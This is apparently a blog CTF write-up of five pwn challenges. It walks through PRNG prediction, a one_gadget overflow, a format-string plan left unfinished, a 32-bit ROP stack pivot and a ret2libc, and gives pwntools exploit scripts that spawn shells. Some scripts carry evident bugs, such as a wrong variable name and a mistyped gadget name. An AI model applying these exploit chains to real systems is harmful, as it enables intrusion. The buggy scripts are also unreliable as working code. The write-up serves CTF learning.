Pwn Day 1
Chall 1 : VirSecCon 2020 (Seed Spring)
— — — — — — — — — — — — — — — — — — — — — —
Chall file: here
RELRO if full that means no GOT is read only :(
Let’s inspect the decompiled version of the chall file.
undefined4 main(void){
uint __seed;
int local_14;
__seed = time((time_t *)0x0);
srand(__seed);
local_14 = 0;
while (local_14 < 0x1e) {
__seed = rand();
printf("%d-",__seed & 0xf);
local_14 = local_14 + 1;
}
return 0;
}
In gist we can say that we are seeding srand with time(NULL) secure enough but after calling rand() to generate a “random” integer it executes AND logical operation with 0xf and then prints out the value.
Exploit Idea:
Since task is a 32 bit ELF the AND operation between 0xf and a 4 byte integer will look like this:
0x B B B bbbbbbbb
& 00001111 --> 0xf = 15
------------------
0x 0 0 0 0000bbbb
So we are basically masking the last 4 bits of the random integer generated.
Since the range of numbers is so small we can pretty much predict the output by executing a script seeded with our system time approximately equal to the same time to the one on the server side. Thanks to the AND operation the difference in time between the execution of the two scripts can be ignored.
Exploit Script:
from pwn import *
p = remote("jh2i.com",50010)
p1 = process("./task")
data = p1.recv()[:-1].split("-")
p1.close()
for i in data:
p.sendline(i)
p.interactive()
Flag: LLS{pseudo_random_number_generator_not_so_random}
Chall 2: VirSecCon 2020 (Return Label)
— — — — — — — — — — — — — — — — — — — — — — —
Chall file: here
So we are given an elf file and a service.
Seems like we have a printf@libc leak 🧐
Decompiled source code looks like this:
void vuln(void){
undefined8 uVar1;
char local_98 [144];
uVar1 = dlsym(0xffffffffffffffff,"printf");
printf("Where should we send your package (printf is at %016llx)? \n\n",uVar1);
fflush(stdout);
gets(local_98);
puts(local_98);
fflush(stdout);
return;
}
Note: main calls vuln and returns
We can see a gets function too BOF maybe 😏
Offset: 152
I tried using gadgets embedded inside the the binary itself but then I remembered PIE: Enabled so we won’t be able to get the addresses until we run it that is addresses will be changing during run-time 😟
So let’s try using the one_gadget tool but for that we need to find the exact libc version using the printf@libc leak from https://libc.blukat.me/ which turns out to be libc6_2.23–0ubuntu10_amd64.so
Exploit Idea:
So we notice that when we overflow the RIP the value of eax at that instant is NULL hence we can use BOF to redirect code execution to the first gadget to get shell :)
Exploit Code:
import sys
from pwn import *libc = ELF("./libc.so.6")
r = process('./challenge')
r.recvuntil('(printf is at ')
printf_leak = int("0x" + r.recv(16),16)
libc_base = printf_leak - libc.symbols['printf']
one_gadget = libc_base + 0x45216
payload = "A" * 152
payload += p64(one_gadget)
r.sendline(p)
r.interactive()
Flag: LLS{r0p_1s_fun}
Chall 3: VirSecCon 2020 (Shopping List)
— — — — — — — — — — — — — — — — — — — — — — —
Chall file: here
Again we have a file and a service let’s run and see what it does…
At first glance looks like a typical heap exploitation chall who knows let’s look at the decompiled source code 🙄
undefined8 main(void){
int iVar1;
long in_FS_OFFSET;
int local_1424;
int local_1420;
char local_1418 [5128];
long local_10;
local_10 = *(long *)(in_FS_OFFSET + 0x28);
local_1424 = 0;
puts(logo);
print_menu();
while( true ) {
printf("> ");
fflush(stdout);
iVar1 = read_int();
if (iVar1 == 4) break;
if (iVar1 == 2) {
local_1420 = 0;
while (local_1420 < local_1424) {
printf("%i. %s\n",(ulong)(local_1420 + 1),local_1418 + (long)local_1420 * 0x200);
local_1420 = local_1420 + 1;
}
fflush(stdout);
}
else {
if (iVar1 == 3) {
printf("Which item? ");
fflush(stdout);
iVar1 = read_int(); <-- read_int() is called here
if ((iVar1 < 1) || (local_1424 < iVar1)) {
puts("Invalid item");
fflush(stdout);
}
else {
printf("What\'s the new value? ");
fflush(stdout);
fgets(local_1418 + (long)iVar1 * 0x200,0x200,stdin);
printf("New Value: ");
printf(local_1418 + (long)iVar1 * 0x200);
putchar(10);
fflush(stdout);
}
}
else {
if (iVar1 == 1) {
printf("What would you like to add? ");
fflush(stdout);
fgets(local_1418 + (long)local_1424 * 0x200,0x200,stdin);
printf("Great, added: ");
puts(local_1418 + (long)local_1424 * 0x200); <--------
fflush(stdout);
local_1424 = (local_1424 + 1) % 10;
}
else {
puts("error: invalid choice");
print_menu();
}
}
}
}
if (local_10 == *(long *)(in_FS_OFFSET + 0x28)) {
return 0;
}
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
On careful inspection I found a string format vulnerablity here:
printf(local_1418 + (long)iVar1 * 0x200);
Using format string we have read-write access. Since RELRO is partial we can do GOT overwrite so let us find suitable functions to do the same but before that we have leak a libc offset to get hold of correct libc version so let’s do that first.
void read_int(void){
long in_FS_OFFSET;
char local_98 [136];
long local_10;
local_10 = *(long *)(in_FS_OFFSET + 0x28);
fgets(local_98,0x80,stdin);
atoi(local_98);
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return;
}
Notice that when we try to edit the item choice no → 3 we have a call to the above function which calls atoi on our input but that gets lost since it is not stored in a variable
Exploit Idea:
- Leak some standard libc function after calculating format string pattern offset
- Lookup https://libc.blukat.me/ to find the correct libc version
- Replace GOT entry of atoi with that of system
- Use proper one_gadget
Using few trials we find that our input gets reflected at the 74th position
Now we need to find some libc function on the stack to leak libc address.
To be continued …
Chall 4: ROP Emporium (Pivot 32 bit)
— — — — — — — — — — — — — — — — — — — — — —
Chall file: here
We have a chall file and a demo flag.txt. We see some interesting functions inside the binary
Let’s try to run the binary file first:
So our goal is to call ret2win
function, which is located in libpivot.so
shared object.Okay let’s find out the correct offset for the stack smash.
Okay so 44 is the stack smash offset and we need to redirect code execution to ret2win but before that we need to leak the address of ret2win while loaded in memory thanks to ASLR :(
We notice that we have a useless function:
void uselessFunction(void){
foothold_function();
/* WARNING: Subroutine does not return */
exit(1);
}
It does nothing but calls the foothold_function in libc so what we can do is call the useless function so that the dynamic linker will populate the GOT entry for foothold_function and then we pop the value of got@ foothold_function into eax and then move [eax] into eax. So in eax we have contents of got entry of the foothold_function next we will have the offset of ret2win from foothold_function we will add the offset to rax by popping it into rbx and then use the call rax gadget.
lib.so base address --> 0xf7f14000
ret2win offset --> 0x967
foothold offset --> 0x770
difference --> 0x1f7
Next let us find some useful gadgets from the binary
$ ropper -f pivot32Gadgets
=======0x080488c0: pop eax; ret;
0x080488c2: xchg eax, esp; ret;
0x080488c4: mov eax, dword ptr [eax]; ret;
0x08048571: pop ebx; ret;
0x080488c7: add eax, ebx; ret;
0x080486a3: call eax;0x80485f0 <foothold_function@plt>
0x804a024 <foothold_function@got.plt>
Before I finally plain the exploit idea there is another key factor to be taken care of:
void pwnme(char *param_1){
char local_2c [40];
memset(local_2c,0,0x20);
puts("Call ret2win() from libpivot.so");
printf("The Old Gods kindly bestow upon you a place to pivot: %p\n",param_1);
puts("Send your second chain now and it will land there");
printf("> ");
fgets(param_1,0x100,stdin);
puts("Now kindly send your stack smash");
printf("> ");
fgets(local_2c,0x3a,stdin);
return;
}
Closely inspect the decompiled version of pwn me we have the address of param_1 where our 2nd ROP chain is stored (will be referred to as buffer address from now on)that is where we need to make the first ROP chain to return to. Moreover see that the second fgets takes input 0x3a so we can have only.
Exploit Idea:
First ROP chain:
1 >> pop rax;ret --> rax stores buffer address and rip goes to 3
2 >> buffer address given by binary ---> stored by rax
3 >> xchg eax, esp; ret; --> esp <= buffer address & ret to buffer Second ROP chain:
1 >> 'A'*44
2 >> foothold@plt
3 >> pop eax; ret
4 >> footholf@got.plt --> eax holds foothold@got.plt
5 >> mov eax, [eax] --> eax holds got table entry for foothold
6 >> pop ebx
7 >> p64(0x1f7) --> ebx holds 0x1f7
8 >> add eax_ebx --> eax points to ret2win
9 >> call eax --> calling ret2win
Exploit code:
from pwn import *foothold_plt = 0x80485f0
foothold_got_plt = 0x804a024pop_eax = 0x080488c0 # pop eax ; ret
pop_ebx = 0x08048571 # pop ebx ; retxchg_eax_esp = 0x080488c2 # xchg esp, eax ; ret
mov_eax = 0x080488c4 # mov eax, [eax] ; ret
add_eax_ebx = 0x080488c7 # add eax, ebx ; ret
call_eax = 0x080486a3 # call eax# Start process and send rop chain
e = process('pivot32')text = e.recv()
print text
pivot = int(text.splitlines()[4].split()[-1], 16)
print "[+] Pivot is " + hex(pivot)# Uncomment to attach GDB
#gdb.attach(e, 'break *pwnme+174')# Stage 2 is loaded first, but since we already have our pivot address, we can focus on constructing the second stage payload.
# rop_stage2 calls foothold_function() to populate its GOT entry, then queries that value into EAX
# Since we have the lib, the offset between foothold_function() and ret2win is 0x1f7.
# Add that to the queried value then call EAX
rop_stage2 = p32(foothold_plt)
rop_stage2 += p32(pop_eax)
rop_stage2 += p32(foothold_got_plt)
rop_stage2 += p32(mov_eax)
rop_stage2 += p32(pop_ebx)
rop_stage2 += p32(0x1f7)
rop_stage2 += p32(add_eax_ebp)
rop_stage2 += p32(call_eax)e.sendline(rop_stage2)# Stage 1 ROP: Jump to pivot by exchanging ESP with EAX
rop_stage1 = "A" * 44
rop_stage1 += p32(pop_eax)
rop_stage1 += p32(pivot)
rop_stage1 += p32(xchg_eax_esp)e.sendline(rop_stage1)# If you're trying to get a shell remove this line and call e.interactive()
e.recvuntil('.so')
print(e.recvall())
Finally flag sweet flag :)
Chall 5: CSAW CTF Qualification 2019 (Baby Boi)
— — — — — — — — — — — — — — — — — — — — — — — — — — —
Chall files: here
So we got three files the challenge binary, the libc.so file and a source code for the binary.
Source code:
#include <stdio.h>
#include <stdlib.h>
int main(int argc, char **argv[]) {
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
char buf[32];
printf("Hello!\n");
printf("Here I am: %p\n", printf);
gets(buf);
}
So the binary leaks printf@libc address and we have a gets call which is vulnerable to buffer overflow. So the obvious method is a ret2libc attack and it will be much easier since we already have the libc.
Requirements
------------
1 >> libc base address --> printf@libc - printf_offset
2 >> system offset
3 >> bin sh offset
4 >> pop rdi gadget --> 64 bit binary
5 >> ret gadget
Buffer offset: 40
Exploit Idea:
1 >> Fill up the buffer with 40 ‘A’s
2 >> pop_rdi; ret
3 >> bin/sh --> rdi stores bin/sh
4 >> ret --> ret gadget ---> stack alignment
5 >> system --> call to system with bin/sh argument
Exploit code:
from pwn import *
pop_rdi = 0x400793
ret = 0x40054e
def exploit():
r.recvline()
# Get printf address in binary
printf_memory_addr = int(r.recvuntil("\n").split(' ')[3], 16)
log.info('printf addr in memory: {}'.format(hex(printf_memory_addr)))
log.info('printf addr in libc: {}'.format(hex(libc.symbols['printf'])))
# Calculate libc base address
libc_base = printf_memory_addr - libc.symbols['printf']
log.info('libc base: {}'.format(hex(libc_base)))
# Calculate system offset
system_addr = libc_base + libc.symbols['system']
log.info('system addr: {}'.format(hex(system_addr)))
log.info('pop rdi; ret; addr: {}'.format(hex(pop_rdi)))
# Calculate /bin/sh offset
bin_sh = libc_base + libc.search('/bin/sh').next()
log.info('/bin/sh addr: {}'.format(hex(bin_sh)))
# Fill the buffer
payload = "a" * 32
# More padding
payload += "b" * 8
# Prepare the place for system's argument
payload += p64(pop_rdi)
# System's argument
payload += p64(bin_sh)
# Return gadget
payload += p64(ret)
# Call the system
payload += p64(system_addr)
# Send the payload
r.sendline(payload)
# Prompt interactive mode since we have the shell now
r.interactive()
elf = ELF("./baby_boi", checksec = False)
libc = ELF('./libc-2.27.so', checksec = False)
r = process(elf.path)
#r = remote("pwn.chal.csaw.io", 1005)
exploit()
Flag: flag{baby_boi_dodooo_doo_doo_dooo}
That’s it for today thank you guys for reading till here XD
‣‣‣You just read Frost Bite. Hope you enjoyed it…